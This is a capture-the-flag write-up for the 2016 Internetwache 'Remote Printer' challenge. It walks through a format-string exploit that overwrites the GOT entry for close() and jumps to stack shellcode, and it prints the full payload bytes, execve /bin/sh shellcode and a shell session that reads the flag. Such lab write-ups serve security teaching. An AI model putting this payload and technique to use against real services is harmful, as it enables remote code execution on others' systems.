Rating:

[](ctf=internetwasche-ctf-2016)
[](type=exploit)
[](tags=format string)
[](tools=libformatstr)
[](techniques=format string)

# Remote Printer (exp-80)

>Description: Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.

>Attachment: exp80.zip

>Service: 188.166.133.53:12377

Unzipping the [file](../exp80.zip) gives us the following.

```bash
$ file RemotePrinter
RemotePrinter: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3db29aea1dc4af0eb3f7104e529f856256a1d775, stripped
```
If we run it with
```bash
$ nc -l -p 8000 -vv
```
in another terminal.

```bash
$ ./RemotePrinter
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:8000
```

gives us a connection on the listening port.
```bash
$ nc -l -p 8000 -vv
listening on [any] 8000 ...
connect to [127.0.0.1] from Hack-Machine [127.0.0.1] 38908
%p.%p.%p
sent 9, rcvd 0
```

```bash
$ ./RemotePrinter
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:8000
Thank you, I'm trying to print 127.0.0.1:8000 now!
0xffc8425c.0x2000.(nil)
```
So yeah! Format string exploitation!

A quick decompilation with [Hopper](https://www.hopperapp.com/) gives us
```c
function sub_80486d5 {
eax = *stdout;
setbuf(eax, 0x0);
puts("This is a remote printer!");
printf("Enter IPv4 address:");
__isoc99_scanf(0x804896e, var_18);
printf("Enter port:");
__isoc99_scanf(0x804897f, 0x0);
printf("Thank you, I'm trying to print %s:%d now!\n", var_18, 0x0);
esp = (((((((esp - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;
sub_8048786(var_18, 0x0);
return 0x0;
}
function sub_8048786 {
esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;
var_C = socket(0x2, 0x1, 0x0);
if (var_C == 0xffffffff) {
puts("No socket :(");
}
else {
inet_addr(arg0);
htons();
esp = (((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;
if (connect(var_C, 0x2, 0x10) < 0x0) {
perror("No communication :(\n");
}
else {
esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;
if (recv(var_C, var_201C, 0x2000, 0x0) < 0x0) {
puts("No data :(");
}
else {
printf(var_201C);
close(var_C);
}
}
}
return;
}
```
Lets checksec.

```bash
$ gdb -q ./RemotePrinter
Reading symbols from ./RemotePrinter...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
```
So NX is disabled. This means we can execute shellcode on the stack.

So a brief strategy : By overwriting a GOT entry for a function the program will use after
the printf call we can seize control and
can jump to shellcode address.

So here we see printf() is followed by close(). We'll patch the GOT entry for close() to execute our shellcode.

```bash
$ readelf -r ./RemotePrinter

Relocation section '.rel.dyn' at offset 0x408 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049c34 00000806 R_386_GLOB_DAT 00000000 __gmon_start__
08049c8c 00001105 R_386_COPY 08049c8c stdout

Relocation section '.rel.plt' at offset 0x418 contains 16 entries:
Offset Info Type Sym.Value Sym. Name
08049c44 00000107 R_386_JUMP_SLOT 00000000 setbuf
08049c48 00000207 R_386_JUMP_SLOT 00000000 printf
08049c4c 00000307 R_386_JUMP_SLOT 00000000 fgets
08049c50 00000407 R_386_JUMP_SLOT 00000000 fclose
08049c54 00000507 R_386_JUMP_SLOT 00000000 htons
08049c58 00000607 R_386_JUMP_SLOT 00000000 perror
08049c5c 00000707 R_386_JUMP_SLOT 00000000 puts
08049c60 00000807 R_386_JUMP_SLOT 00000000 __gmon_start__
08049c64 00000907 R_386_JUMP_SLOT 00000000 __libc_start_main
08049c68 00000a07 R_386_JUMP_SLOT 00000000 fopen
08049c6c 00000b07 R_386_JUMP_SLOT 00000000 __isoc99_scanf
08049c70 00000c07 R_386_JUMP_SLOT 00000000 socket
08049c74 00000d07 R_386_JUMP_SLOT 00000000 inet_addr
08049c78 00000e07 R_386_JUMP_SLOT 00000000 connect
08049c7c 00000f07 R_386_JUMP_SLOT 00000000 recv
08049c80 00001007 R_386_JUMP_SLOT 00000000 close
```
First we need to locate our input on the stack. A little checking reveals that the first thing on the stack at printf() is the address of our input. Also we can see that ASLR is not enabled on the service as the address remains constant for 5-6 tries (0xffffbcec).

The exploit is pretty straight-forward :

```python
>>> from pwn import *
>>> shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
>>> from libformatstr import *
>>> p=FormatStr()
>>> p[0x08049c80]=0xffffbcec+0x30
>>> pay=p.payload(7,0)
>>> print repr(pay+'\x90'*50+shell)
'%48412c%14$hn%17123c%15$hnAA\x80\x9c\x04\x08\x82\x9c\x04\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80'
>>>
```

Now the exploit in action :
```bash
$for i in {1..100}; do python -c "print '%48412c%14\$hn%17123c%15\$hnAA\x80\x9c\x04\x08\x82\x9c\x04\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80'"| nc -vv -l -p 443 ; done
Listening on [0.0.0.0] (family 0, port 443)
Connection from [178.62.254.108] port 443 [tcp/https] accepted (family 2, sport 34495)
```

we get a shell
```
id
uid=1010(exp80) gid=1010(exp80) groups=1010(exp80)
ls
RemotePrinter
flag.txt
cat flag.txt
IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}
uname -a
Linux serv1.2016.ctf.internetwache.org 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1+deb8u3 (2016-01-17) x86_64 GNU/Linux
```

flag
>IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}

Original writeup (https://github.com/ByteBandits/writeups/tree/master/internetwache-ctf-2016/exploit/remote-printer/sudhackar).